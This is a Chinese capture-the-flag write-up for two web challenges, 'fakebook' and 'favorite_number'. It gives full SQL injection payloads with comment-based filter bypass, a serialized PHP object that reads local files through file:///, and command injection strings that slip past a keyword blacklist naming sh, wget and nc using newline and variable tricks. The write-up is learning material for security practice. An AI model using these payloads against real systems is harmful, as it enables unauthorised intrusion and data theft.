当前位置:网站首页>【攻防世界WEB】难度三星9分入门题(终):fakebook、favorite_number
【攻防世界WEB】难度三星9分入门题(终):fakebook、favorite_number
2022-07-23 16:21:00 【黑色地带(崛起)】
目录
七、fakebook
解题方法:
1、寻找注入点,发现反序列化函数,与序列化内容,猜测文件位置
过程:
查看robots.txt文件
发现是一个备份文件
正则匹配:在blog中要匹配到https://
现在再去注册
这个1可以点
发现进行了传参
考虑是否有:
注入
文件包含
伪协议
……
输入单引号报错
但是无法闭合
换一种方法尝试
加上and 1=1
(回显正常)
输入and 1=2
(报错)
存在注入点
查字段数
order by 4
(回显正常)
order by 5
(报错)
所以有4个字段
判断回显点
尝试绕过
/**/union/**/ select /**/1,2,3,4
发现2是回显点
爆数据库
/**/union/**/ select/**/ 1,database(),3,4
数据库为fakebook
爆表
-1 /**/union /**/ select/**/ 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database()#
获得了users表
爆字段
-1 /**/union /**/ select/**/ 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#
爆数据
-1 /**/union /**/ select/**/ 1,group_concat(no,'~',data) ,3,4 from fakebook.users#
没啥有用信息
突然关注到反序列化函数,与这个出现了多次的路径
文件路径
/var/www/html/view.php
那么flag的路径也可能是
/var/www/html/flag.php
因为存在反序列化函数,所以我们应该注入序列化语句
使用file:///协议去访问本地计算机文件
-1 /**/union /**/ select /**/1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
但是没有显示出flag.php内容
很多flag都不显示,而在源码内,Ctrl+U查看源码
发现一段base64加密字符
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==
解密后为
flag{c1e552fdf77049fabf65168f22f7aeab}
八、favorite_number
解题方法:
1、源码分析,绕过过滤,flag寻找方法
过程:
进入后就是php代码
代码1:数组
使用$_POST["stuff"]接收数组
并且限制$stuff[0] != 'admin'
可以采用数组下标溢出绕过
stuff[2^32]=admin
$stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"];代码2:正则匹配
"/^\d+$/im":匹配一串数字,不能有其它字符
/m:多行匹配,有一行匹配成功,preg_match返回true
换行符:0x0a(ascii码),%0a(URL编码)
if (preg_match("/^\d+$/im",$num)){代码3:过滤关键字
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){1、数组:数字下标溢出绕过
2、正则匹配:%0a多行绕过
3、关键字过滤:可以拼接其他命令&&(ascii码0x26,URL编码%26)
构造payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
使用bp抓包
发现通过HackBar提交的内容被编码了
使用bp把它再改回原来的payload
然后再发送
开始寻找flag
先寻找flag的inode的索引点
payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
再通过HackBar提交,再改包
18497049 flag
读取flag
payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 18497049`
再通过HackBar提交,再改包
超时了
换一种方法
因为没过滤$,用变量拼接试试
payload:
stuff[4294967296]=admin&stuff[1]=user&num=1%0aa=f;b=lag;tac /$a$b;
cyberpeace{7d870124ba11eacef73c2c409588eadf}
边栏推荐
- Is learning next generation modeling a good scene or a good role? Choose the right profession and pay more than half
- MySQL事务,从redo log、bin log、undo log说起...
- 字符串长度函数strlen()。。字符串函数头文件string.h「建议收藏」
- 搭建PHP开发环境(Apache+PHP+MySQL)「建议收藏」
- 20220721 积分环节的时频域分析
- Rhcsa Notes 6
- Boss online replay: the mistake I made when training Dall · e
- Database modeling
- 入行3D建模有前景吗?就业高薪有保障还是副业接单赚钱多
- Is 3D modeling promising? Is employment guaranteed with high salary or is it more profitable to take orders in sideline industry
猜你喜欢

如何成为建模师?工业建模和游戏建模哪一个更加吃香?

Rhcsa Notes 6

MySQL 8.0.23 failed to reinstall for four times in'writing configuration file'

如何理解:普通代码块、构造块、静态块?有什么关系?

Flame Graphs 火焰图安装与使用

【3D建模制作技巧分享】Zbrush如何将图片转浮雕模型

What happened behind kubectl's creation of pod?

On Monday, I asked | what constraints will take effect in the comprehensive stage of vivado?

go中的協程原理詳解

使用 Three.js 实现'雪糕'地球,让地球也凉爽一夏
随机推荐
次世代行业现状如何?90%转行建模师都在学习这套流程
[jzof] 13 motion range of robot
物联网之Zigbee系统开发一(zigbee简介)[通俗易懂]
【JZOF】13机器人的运动范围
What is the use of tampermonkey?
Past weaving of zero one-2022
JVM – 彻底理解打破双亲委派机制
rhcsa笔记七
Interface test overview
防控调整后暑期市场井喷,途家、木鸟、美团暑期活动测评
网分测花岗岩介电常数测试方案
What happened behind kubectl's creation of pod?
PCL: ajustement multiligne (RANSAC)
Is 3D modeling promising? Is employment guaranteed with high salary or is it more profitable to take orders in sideline industry
MySQL classic exercises and answers, 50 common SQL sentence exercises
零基础要学建模该从何开始?如何才能学好游戏建模?
20220721 积分环节的时频域分析
PCL:多直線擬合(RANSAC)
MySQL massive write problem optimization scheme MySQL parameter tuning
Huawei fat thin AP switching method




发现进行了传参
























